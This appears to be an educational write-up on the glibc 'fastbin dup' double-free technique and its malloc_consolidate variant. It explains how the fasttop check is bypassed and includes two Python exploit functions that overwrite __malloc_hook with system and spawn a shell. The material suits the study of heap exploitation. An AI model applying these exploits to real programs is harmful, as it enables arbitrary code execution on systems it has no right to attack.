Consider what happens if we allocate a fastbin-sized chunk and freed it multiple times. We know that
free() pushes the freed chunk to the fastbin, but if freed multiple times, the same freed chunk would end up multiple times in the same fastbin, which makes reallocation of the same chunk to different allocation requests possible. This is a fastbin-based double free, or fastbin dup (for duplication), which is a double-free vulnerability in chunks that are less than or equal to
88 B on a 64-bit system (and are hence placed in the fastbin).
A chunk is freed twice, which tricks
malloc() to return duplicate chunks from the fastbin. New chunks are then allocated, and by writing to these new chunks a write-what-where condition is created for arbitrary code execution.
- Existence of a double-free vulnerability, with the ability to slip in a call to
free()in between the double-free (to bypass the last-freed-chunk check in
- Ability to allocate chunks (either arbitrarily, or through application interface) in order to trigger the double-free vulnerability
- Ability to write data to a chunk.
We allocate 3 fastbin-sized chunks. The first chunk (
A) is freed and ends up in the fastbin list. The second chunk (
B) is also freed, and
A is freed again (double free).
B is freed in between the double
free() calls for
A to pass the security check in
free(), which checks if the first chunk
in the freelist is the chunk being freed:
if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)");
The successive allocations are duplicated since the double freed chunk will be inserted twice in the fastbin list, causing the subsequent allocations to point to the same region of memory.
def exploit_fastbin_dup(ps, leaked_addr, system_addr, binsh_addr, interactive=False): chunk_size = 16 # Allocate 3 fastbin-sized chunks A, B, C = [ps.alloc(chunk_size) for _ in range(3)] # Free A, then B, then A again ps.free(A) ps.free(B) ps.free(A) # The fastbin now has chunks A, B, A. # We invoke malloc 3 times to get chunk A twice: [ps.alloc(chunk_size) for _ in range(3)] # this gives us chunk B slot_leak = ps.alloc(chunk_size) ps.alloc(chunk_size) # Write the symbol address of __malloc_hook ps.write(slot_leak, p64(leaked_addr)) ps.print_info(slot_leak, 8) # Allocate two chunks to trick malloc into giving us pointer into __malloc_hook ps.alloc(chunk_size) # This allocation will be at address of __malloc_hook slot_system = ps.alloc(chunk_size) # Fill returned pointer with address of gadget (system) ps.write(slot_system, p64(system_addr)) ps.print_info(slot_system, 8) # Trigger vulnerability by invoking malloc return ps.try_spawn_shell(binsh_addr, interactive)
There exists a variant of this attack where
malloc_consolidate() is triggered to place a fastbin-sized chunk in a smallbin. Two fastbin-sized chunks are allocated, followed by freeing the first chunk, then making a smallbin-sized allocation. This triggers
malloc_consolidate(), placing the freed chunk in the smallbin. Freeing the first chunk again will cause subsequent calls to
malloc() to return duplicated chunks.
def exploit_fastbin_dup_consolidate(ps, leaked_addr, system_addr, binsh_addr, interactive=False): chunk_size = 16 # Allocate 2 fastbin-sized chunks A, B A, B = [ps.alloc(chunk_size) for _ in range(2)] # Free chunk A ps.free(A) # Allocate a smallbin-sized chunk C to trigger malloc_consolidate C = ps.alloc(chunk_size*chunk_size) # Free chunk A again ps.free(A) # Allocate 2 more fastbin-sized chunks of the same size # D, E should have same address as A D, E = [ps.alloc(chunk_size) for _ in range(2)] # Write the symbol address of __malloc_hook into D ps.write(D, p64(leaked_addr)) # Make 2 fastbin-sized chunks of the same size. # F should have the same address as A # G should have the symbol address of __malloc_hook F, G = [ps.alloc(chunk_size) for _ in range(2)] # Fill returned pointer with address of gadget (system) ps.write(G, p64(system_addr)) # Trigger vulnerability by invoking malloc return ps.try_spawn_shell(binsh_addr, interactive)